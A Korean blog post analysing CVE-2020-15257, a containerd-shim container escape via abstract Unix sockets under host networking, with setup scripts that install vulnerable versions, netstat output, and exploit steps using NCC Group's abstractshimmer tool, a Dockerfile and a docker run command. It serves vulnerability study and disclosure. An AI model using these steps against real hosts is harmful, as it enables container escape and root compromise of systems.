상세 컨텐츠

본문 제목

CVE-2020-15257 : Docker host escape vulnerability using host networking

ANALYSIS/Vulnerability Analysis

by koharin 2021. 6. 30. 11:52

본문

728x90
반응형

Description

도커 컨테이너를 host networking으로 실행할 때 임의 코드를 실행하여 host escape이 가능하다.

 

Affected Version

  • <=1.3.7, 1.4.0, 1.4.1

 

Setting

Name Version
Ubuntu 20.04 LTS 64bit
Docker 19.03.14
Containerd 1.3.8

 

docker 설치

#!/bin/bash
sudo apt-get update
sudo apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common git tmux net-tools vim build-essential
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-get update
sudo apt-get install -y --allow-downgrades \
  docker-ce=5:19.03.14~3-0~ubuntu-$(lsb_release -cs) \
  docker-ce-cli=5:19.03.14~3-0~ubuntu-$(lsb_release -cs)
sudo usermod -aG docker $USER

docker-ce-cli 도 설치해야 해당 버전으로 downgrade 된다.

 

docker 삭제

sudo apt purge docker*
# 위에 안 될 경우
sudo apt-get purge docker*

 

containerd 설치

#!/bin/sh
mkdir YOUR_DIR && cd YOUR_DIR
wget https://github.com/containerd/containerd/releases/download/v1.3.8/containerd-1.3.8-linux-amd64.tar.gz
tar -xvf containerd-1.3.8-linux-amd64.tar.gz

# containerd 바이너리 교체
sudo pkill -9 containerd
sudo pkill -9 containerd-shim
sudo cp ./bin/containerd `which containerd`
sudo cp ./bin/containerd-shim `which containerd-shim`

sudo service docker restart

 

취약한 버전 설치 확인

sudo netstat -xlp | grep containerd-shim | grep @

 

golang 설치

sudo tar -C /usr/local -xzf go1.15.3.linux-amd64.tar.gz
rm go1.15.3.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.profile
source ~/.profile

 

Background

docker host networking

  • docker의 디폴트 capability로, host networking은 모든 트래픽을 수신하고 임의의 인터페이스에서 원시 패킷을 보낼 수 있다.
  • 리눅스는 파일시스템에는 없는 abstract namespace 라는 유닉스 도메인 소켓을 지원한다.
    • 유닉스 소켓과 같은 방식으로 abstract unix socket이 생성된다.
    struct sockaddr_un{
    	sa_family_t sun_family; //AF_UNIX
    	char sun_path[108]; // pathname
    }​
  • 컨테이너 실행 시 --network 옵션 주지 않으면 디폴트로 bridge 이름으로 디폴트 네트워크가 컨테이너에 설정된다.
  • bridge, host, none 모두 도커 데몬 실행 시 디폴트로 설정되는 네트워크
  • docker run 에 --network=host 옵션을 사용하면, 도커 컨테이너 내의 127.0.0.1은 도커 호스트를 가리키게 된다.

 

containerd-shim

  • containerd의 자식 프로세스
  • containerd-shim API를 통해 containerd에 containerd-shim 함수를 노출시킨다.
  • containerd-shim API는 root network namespace를 통해 접근 가능한 abstract namespace Unix domain socket을 통해 노출된다.
  • host networking과 UID 0을 가진 컨테이너는 이 API에 접근하여 권한 상승을 할 수 있다.
  • host network namespace로 컨테이너를 실행하는 방법
    • docker run --net=host (Docker)
    • .spec.hostNetwork: true (Kubernetes)

 

Vulnerability

Unix socket은 file path에 바운딩되고 unix file permission에 따라 access control을 체크하지만, asbtract Unix socket은 network namespace에 바운딩되고 access control이 없다.

 

koharin@koharin-virtual-machine:~/cve-2020-15127$ docker run -ti --net=host alpine
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
540db60ca938: Pull complete 
Digest: sha256:69e70a79f2d41ab5d637de98c1e0b055206ba40a8145e7bddb55ccc04e13cf8f
Status: Downloaded newer image for alpine:latest
/ # netstat -xlp
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path
unix  2      [ ACC ]     STREAM     LISTENING      26511 -                   /run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING      26513 -                   /run/systemd/userdb/io.systemd.DynamicUser
unix  2      [ ACC ]     SEQPACKET  LISTENING      25478 -                   /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING      25464 -                   /run/systemd/fsck.progress
unix  2      [ ACC ]     STREAM     LISTENING      25474 -                   /run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING       1007 -                   /run/systemd/journal/io.systemd.journal
unix  2      [ ACC ]     STREAM     LISTENING      97526 -                   @/containerd-shim/4828abc70d25f20be43d712dfc2287cc4002691e7ce607d4a52b9d8969c7d3b3.sock@
unix  2      [ ACC ]     STREAM     LISTENING      47612 -                   /run/user/1000/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING      44680 -                   /run/user/1000/bus
unix  2      [ ACC ]     STREAM     LISTENING      44681 -                   /run/user/1000/gnupg/S.dirmngr
unix  2      [ ACC ]     STREAM     LISTENING      44682 -                   /run/user/1000/gnupg/S.gpg-agent.browser
unix  2      [ ACC ]     STREAM     LISTENING      44683 -                   /run/user/1000/gnupg/S.gpg-agent.extra
unix  2      [ ACC ]     STREAM     LISTENING      44684 -                   /run/user/1000/gnupg/S.gpg-agent.ssh
unix  2      [ ACC ]     STREAM     LISTENING      44685 -                   /run/user/1000/gnupg/S.gpg-agent
unix  2      [ ACC ]     STREAM     LISTENING      44686 -                   /run/user/1000/pk-debconf-socket
unix  2      [ ACC ]     STREAM     LISTENING      44687 -                   /run/user/1000/pulse/native
unix  2      [ ACC ]     STREAM     LISTENING      44688 -                   /run/user/1000/snapd-session-agent.socket
unix  2      [ ACC ]     STREAM     LISTENING      49319 -                   @/tmp/.ICE-unix/2028
unix  2      [ ACC ]     STREAM     LISTENING      45632 -                   /run/user/1000/keyring/control
unix  2      [ ACC ]     STREAM     LISTENING      47805 -                   @/tmp/.X11-unix/X0
unix  2      [ ACC ]     STREAM     LISTENING      34788 -                   @/tmp/dbus-Hvv9lbP9
unix  2      [ ACC ]     STREAM     LISTENING      32035 -                   /run/acpid.socket
unix  2      [ ACC ]     STREAM     LISTENING      97505 -                   @/dbus-vfs-daemon/socket-BNSMJrwt
unix  2      [ ACC ]     STREAM     LISTENING      51541 -                   /run/user/1000/keyring/ssh
unix  2      [ ACC ]     STREAM     LISTENING      48174 -                   @/home/koharin/.cache/ibus/dbus-pDJhx817
unix  2      [ ACC ]     STREAM     LISTENING      51474 -                   /run/user/1000/keyring/pkcs11
unix  2      [ ACC ]     STREAM     LISTENING      38252 -                   /run/containerd/containerd.sock.ttrpc
unix  2      [ ACC ]     STREAM     LISTENING      38254 -                   /run/containerd/containerd.sock
unix  2      [ ACC ]     STREAM     LISTENING      45740 -                   @/tmp/dbus-vHnArTLI
unix  2      [ ACC ]     STREAM     LISTENING      37576 -                   /var/run/docker/metrics.sock
unix  2      [ ACC ]     STREAM     LISTENING      39352 -                   /var/run/docker/libnetwork/706c3a756858.sock
unix  2      [ ACC ]     STREAM     LISTENING      45741 -                   @/tmp/dbus-QAoLcNxx
unix  2      [ ACC ]     STREAM     LISTENING      49182 -                   /tmp/ssh-ZO4ZQtQHHKpl/agent.1849
unix  2      [ ACC ]     STREAM     LISTENING      92172 -                   @/containerd-shim/d36cf83eb885958db6844701520d1e3108b57423ef7216c6b42bcc46b5d460d9.sock@
unix  2      [ ACC ]     STREAM     LISTENING      30446 -                   /var/run/vmware/guestServicePipe
unix  2      [ ACC ]     STREAM     LISTENING      50221 -                   @/tmp/dbus-W0Ak8LRltT
unix  2      [ ACC ]     STREAM     LISTENING      32037 -                   /run/avahi-daemon/socket
unix  2      [ ACC ]     STREAM     LISTENING      32039 -                   /run/cups/cups.sock
unix  2      [ ACC ]     STREAM     LISTENING      47806 -                   /tmp/.X11-unix/X0
unix  2      [ ACC ]     STREAM     LISTENING      32041 -                   /run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING      49320 -                   /tmp/.ICE-unix/2028
unix  2      [ ACC ]     STREAM     LISTENING      32043 -                   /run/docker.sock
unix  2      [ ACC ]     STREAM     LISTENING      32045 -                   /run/snapd.socket
unix  2      [ ACC ]     STREAM     LISTENING      32047 -                   /run/snapd-snap.socket
unix  2      [ ACC ]     STREAM     LISTENING      32049 -                   /run/uuidd/request
unix  2      [ ACC ]     STREAM     LISTENING      34787 -                   @/tmp/dbus-o2QWI8wM
unix  2      [ ACC ]     STREAM     LISTENING      34985 -                   /run/irqbalance//irqbalance708.sock

위와 같이 Unix domain socket은 file path에 바운딩되고 파일에 권한이 있다.

abstract namespace Unix socket은 @/cotainerd-shim/<id>.sock@ 형태로 이 socket들은 권한 설정이 없다. 따라서 별도로 프로세스에서 socket에 대한 유효한 연결인지 체크하는 과정이 필요하다.

containerd-shim API는 root network namespace를 통해 접근 가능한 abstract namespace Unix domain socket을 통해 노출된다.

service Shim {
  ...
  rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
  rpc Start(StartRequest) returns (StartResponse);
  rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
  ...
  rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
  rpc Kill(KillRequest) returns (google.protobuf.Empty);
  rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
  ...
}

containerd-shim API에는 Create() , Start() 함수가 있는데, 이는 docker create , docker run 함수에 대응한다.

 

Exploit

git clone https://github.com/nccgroup/abstractshimmer.git
cd abstractshimmer

# abstractshimmer 바이너리 생성
go build

Dockerfile

FROM golang:1.14.4-buster
RUN apt-get update && apt-get install -y jq

COPY abstractshimmer /abstractshimmer

CMD /abstractshimmer

jq는 config에서 capability, PID namespace나 Seccomp 끄기 등 설정하는데 필요

 

docker run -ti --network host --userns host -v /tmp/escape:/escape:ro ubuntu:20.04 /bin/sh

 

Patch

containerd v1.3.9, v1.4.3 버전에서 패치되었고, abstract namespace socket에서 file-based Unix socket으로 바꿨다.

https://github.com/containerd/containerd/security/advisories/GHSA-36xw-fx78-c5r4

 

GitHub: Where the world builds software

GitHub is where over 65 million developers shape the future of software, together. Contribute to the open source community, manage your Git repositories, review code like a pro, track bugs and feat...

github.com

 

728x90
반응형

관련글 더보기